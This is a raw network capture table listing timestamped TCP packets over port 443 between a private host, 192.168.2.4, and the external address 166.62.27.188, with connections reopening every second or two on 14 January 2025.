Jan 14, 2025 08:22:58.324400902 CET	49731	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:22:58.327610970 CET	49731	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:22:58.327644110 CET	443	49731	166.62.27.188	192.168.2.4
Jan 14, 2025 08:22:59.636060953 CET	443	49731	166.62.27.188	192.168.2.4
Jan 14, 2025 08:22:59.636291027 CET	49731	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:22:59.639878988 CET	49731	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:22:59.639935970 CET	443	49731	166.62.27.188	192.168.2.4
Jan 14, 2025 08:22:59.640352011 CET	443	49731	166.62.27.188	192.168.2.4
Jan 14, 2025 08:22:59.687587976 CET	49731	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:22:59.705112934 CET	49731	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:22:59.747350931 CET	443	49731	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:00.028953075 CET	443	49731	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:00.029073000 CET	443	49731	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:00.029133081 CET	49731	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:00.044218063 CET	49731	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:00.044255018 CET	443	49731	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:00.044274092 CET	49731	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:00.044284105 CET	443	49731	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:00.189246893 CET	49732	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:00.189306974 CET	443	49732	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:00.189394951 CET	49732	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:00.196208954 CET	49732	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:00.196316004 CET	443	49732	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:00.196393967 CET	49732	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:00.259088993 CET	49733	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:00.259201050 CET	443	49733	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:00.259285927 CET	49733	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:00.259682894 CET	49733	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:00.259704113 CET	443	49733	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:01.167015076 CET	443	49733	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:01.167162895 CET	49733	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:01.168704033 CET	49733	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:01.168723106 CET	443	49733	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:01.169497967 CET	443	49733	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:01.170911074 CET	49733	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:01.211344004 CET	443	49733	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:01.758845091 CET	443	49733	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:01.759574890 CET	443	49733	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:01.759637117 CET	49733	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:01.759746075 CET	49733	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:01.759767056 CET	443	49733	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:01.759788990 CET	49733	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:01.759794950 CET	443	49733	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:01.893630028 CET	49734	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:01.893735886 CET	443	49734	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:01.893949986 CET	49734	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:01.895570993 CET	49734	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:01.895673037 CET	443	49734	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:01.895751953 CET	49734	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:01.908714056 CET	49735	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:01.908823967 CET	443	49735	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:01.908927917 CET	49735	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:01.909214020 CET	49735	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:01.909250975 CET	443	49735	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:02.813694954 CET	443	49735	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:02.813843012 CET	49735	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:02.869684935 CET	49735	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:02.869710922 CET	443	49735	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:02.870148897 CET	443	49735	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:02.871685028 CET	49735	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:02.915323973 CET	443	49735	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:03.408127069 CET	443	49735	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:03.408773899 CET	443	49735	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:03.408873081 CET	49735	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:03.408968925 CET	49735	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:03.408968925 CET	49735	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:03.409024000 CET	443	49735	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:03.409054995 CET	443	49735	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:03.537496090 CET	49736	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:03.537558079 CET	443	49736	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:03.537627935 CET	49736	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:03.537698984 CET	49736	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:03.537780046 CET	443	49736	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:03.537844896 CET	49736	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:03.566369057 CET	49737	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:03.566421032 CET	443	49737	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:03.566489935 CET	49737	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:03.566755056 CET	49737	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:03.566767931 CET	443	49737	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:04.487869024 CET	443	49737	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:04.488008976 CET	49737	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:04.489465952 CET	49737	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:04.489490986 CET	443	49737	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:04.489826918 CET	443	49737	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:04.491158962 CET	49737	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:04.531368971 CET	443	49737	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:05.078098059 CET	443	49737	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:05.078258038 CET	443	49737	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:05.078346014 CET	49737	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:05.078413963 CET	49737	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:05.078413963 CET	49737	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:05.078458071 CET	443	49737	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:05.078485012 CET	443	49737	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:05.208528042 CET	49738	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:05.208575010 CET	443	49738	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:05.208661079 CET	49738	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:05.208715916 CET	49738	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:05.209014893 CET	443	49738	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:05.209085941 CET	49738	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:05.210889101 CET	49739	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:05.210939884 CET	443	49739	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:05.211040020 CET	49739	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:05.211309910 CET	49739	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:05.211350918 CET	443	49739	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:06.112721920 CET	443	49739	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:06.112839937 CET	49739	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:06.114267111 CET	49739	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:06.114295959 CET	443	49739	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:06.114891052 CET	443	49739	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:06.116123915 CET	49739	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:06.163336992 CET	443	49739	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:06.692328930 CET	443	49739	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:06.692493916 CET	443	49739	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:06.692610979 CET	49739	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:06.692704916 CET	49739	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:06.692704916 CET	49739	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:06.692749023 CET	443	49739	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:06.692779064 CET	443	49739	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:06.825299025 CET	49740	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:06.825333118 CET	443	49740	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:06.825521946 CET	49740	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:06.825561047 CET	49740	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:06.826071978 CET	443	49740	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:06.826143026 CET	49740	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:06.828217983 CET	49741	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:06.828329086 CET	443	49741	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:06.828418970 CET	49741	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:06.828685999 CET	49741	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:06.828726053 CET	443	49741	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:07.733671904 CET	443	49741	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:07.733762980 CET	49741	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:07.735414982 CET	49741	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:07.735440969 CET	443	49741	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:07.735783100 CET	443	49741	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:07.736979961 CET	49741	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:07.783333063 CET	443	49741	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:08.316097021 CET	443	49741	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:08.316309929 CET	443	49741	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:08.316391945 CET	49741	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:08.333534956 CET	49741	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:08.333583117 CET	443	49741	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:08.333612919 CET	49741	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:08.333621979 CET	443	49741	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:08.462430954 CET	49742	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:08.462462902 CET	443	49742	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:08.462553024 CET	49742	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:08.462671041 CET	49742	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:08.462745905 CET	443	49742	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:08.462811947 CET	49742	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:08.494642019 CET	49743	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:08.494709969 CET	443	49743	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:08.494807959 CET	49743	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:08.495142937 CET	49743	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:08.495162964 CET	443	49743	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:09.383749962 CET	443	49743	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:09.383946896 CET	49743	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:09.385767937 CET	49743	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:09.385786057 CET	443	49743	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:09.386545897 CET	443	49743	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:09.387944937 CET	49743	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:09.431325912 CET	443	49743	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:09.959032059 CET	443	49743	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:09.959290028 CET	443	49743	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:09.959420919 CET	49743	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:09.959662914 CET	49743	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:09.959688902 CET	443	49743	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:09.959703922 CET	49743	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:09.959711075 CET	443	49743	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:10.090079069 CET	49744	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:10.090135098 CET	443	49744	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:10.090245008 CET	49744	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:10.098313093 CET	49744	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:10.098428965 CET	443	49744	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:10.098500967 CET	49744	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:10.123343945 CET	49745	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:10.123409986 CET	443	49745	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:10.123563051 CET	49745	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:10.124672890 CET	49745	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:10.124692917 CET	443	49745	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:11.014003038 CET	443	49745	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:11.014157057 CET	49745	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:11.016004086 CET	49745	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:11.016015053 CET	443	49745	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:11.016789913 CET	443	49745	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:11.018481970 CET	49745	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:11.059349060 CET	443	49745	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:11.589332104 CET	443	49745	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:11.589406013 CET	443	49745	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:11.589551926 CET	49745	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:11.589662075 CET	49745	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:11.589683056 CET	443	49745	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:11.589695930 CET	49745	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:11.589700937 CET	443	49745	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:11.726926088 CET	49746	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:11.727029085 CET	443	49746	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:11.727160931 CET	49746	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:11.727332115 CET	49746	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:11.727392912 CET	443	49746	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:11.727485895 CET	49746	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:11.730508089 CET	49747	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:11.730562925 CET	443	49747	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:11.730819941 CET	49747	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:11.731065989 CET	49747	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:11.731085062 CET	443	49747	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:12.618516922 CET	443	49747	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:12.619106054 CET	49747	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:12.621479988 CET	49747	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:12.621490955 CET	443	49747	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:12.621720076 CET	443	49747	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:12.623588085 CET	49747	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:12.667335987 CET	443	49747	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:13.202310085 CET	443	49747	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:13.202508926 CET	443	49747	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:13.202650070 CET	49747	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:13.202650070 CET	49747	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:13.203331947 CET	49747	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:13.203349113 CET	443	49747	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:13.343993902 CET	49748	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:13.344042063 CET	443	49748	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:13.344110012 CET	49748	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:13.344252110 CET	49748	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:13.344408989 CET	443	49748	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:13.344470024 CET	49748	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:13.347556114 CET	49749	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:13.347598076 CET	443	49749	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:13.347675085 CET	49749	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:13.348125935 CET	49749	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:13.348166943 CET	443	49749	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:14.247276068 CET	443	49749	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:14.247373104 CET	49749	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:14.249406099 CET	49749	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:14.249414921 CET	443	49749	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:14.250178099 CET	443	49749	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:14.252016068 CET	49749	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:14.299325943 CET	443	49749	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:14.837301970 CET	443	49749	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:14.837519884 CET	443	49749	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:14.837658882 CET	49749	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:14.837800980 CET	49749	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:14.837830067 CET	443	49749	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:14.837842941 CET	49749	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:14.837848902 CET	443	49749	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:14.969619036 CET	49750	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:14.969701052 CET	443	49750	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:14.969799995 CET	49750	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:14.969901085 CET	49750	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:14.970215082 CET	443	49750	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:14.970453024 CET	49750	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:14.972579002 CET	49751	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:14.972629070 CET	443	49751	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:14.972698927 CET	49751	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:14.973038912 CET	49751	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:14.973056078 CET	443	49751	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:15.878556013 CET	443	49751	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:15.878851891 CET	49751	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:15.879892111 CET	49751	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:15.879904985 CET	443	49751	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:15.880237103 CET	443	49751	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:15.881541967 CET	49751	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:15.927335024 CET	443	49751	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:16.458306074 CET	443	49751	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:16.458414078 CET	443	49751	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:16.458583117 CET	49751	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:16.458662987 CET	49751	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:16.458662987 CET	49751	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:16.458687067 CET	443	49751	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:16.458700895 CET	443	49751	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:16.589050055 CET	49753	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:16.589101076 CET	443	49753	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:16.589191914 CET	49753	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:16.590028048 CET	49753	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:16.590095043 CET	443	49753	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:16.591032982 CET	49753	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:16.593964100 CET	49754	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:16.594010115 CET	443	49754	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:16.594085932 CET	49754	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:16.600250959 CET	49754	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:16.600281954 CET	443	49754	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:17.483275890 CET	443	49754	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:17.483409882 CET	49754	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:17.484957933 CET	49754	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:17.484988928 CET	443	49754	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:17.485337973 CET	443	49754	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:17.486641884 CET	49754	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:17.531327009 CET	443	49754	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:18.057070017 CET	443	49754	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:18.057305098 CET	443	49754	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:18.057379007 CET	49754	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:18.062572956 CET	49754	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:18.062599897 CET	443	49754	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:18.062613964 CET	49754	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:18.062622070 CET	443	49754	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:18.188258886 CET	49759	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:18.188314915 CET	443	49759	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:18.188390017 CET	49759	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:18.191483021 CET	49759	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:18.191606045 CET	443	49759	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:18.192892075 CET	49759	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:18.195095062 CET	49760	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:18.195127010 CET	443	49760	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:18.195231915 CET	49760	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:18.195807934 CET	49760	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:18.195822001 CET	443	49760	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:19.105614901 CET	443	49760	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:19.105706930 CET	49760	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:19.107207060 CET	49760	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:19.107214928 CET	443	49760	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:19.107558966 CET	443	49760	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:19.119920969 CET	49760	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:19.167335033 CET	443	49760	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:19.686209917 CET	443	49760	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:19.686388969 CET	443	49760	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:19.686470985 CET	49760	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:19.686553001 CET	49760	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:19.686592102 CET	443	49760	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:19.686619997 CET	49760	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:19.686635017 CET	443	49760	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:19.813735008 CET	49762	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:19.813822031 CET	443	49762	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:19.813930988 CET	49762	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:19.821191072 CET	49762	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:19.821295977 CET	443	49762	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:19.821368933 CET	49762	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:19.825212002 CET	49763	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:19.825263977 CET	443	49763	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:19.825377941 CET	49763	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:19.826137066 CET	49763	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:19.826155901 CET	443	49763	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:20.740159035 CET	443	49763	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:20.741080999 CET	49763	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:20.745362997 CET	49763	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:20.745385885 CET	443	49763	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:20.746186972 CET	443	49763	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:20.757755995 CET	49763	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:20.799341917 CET	443	49763	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:21.329473972 CET	443	49763	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:21.329560995 CET	443	49763	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:21.329623938 CET	49763	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:21.329823971 CET	49763	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:21.329864025 CET	443	49763	166.62.27.188	192.168.2.4
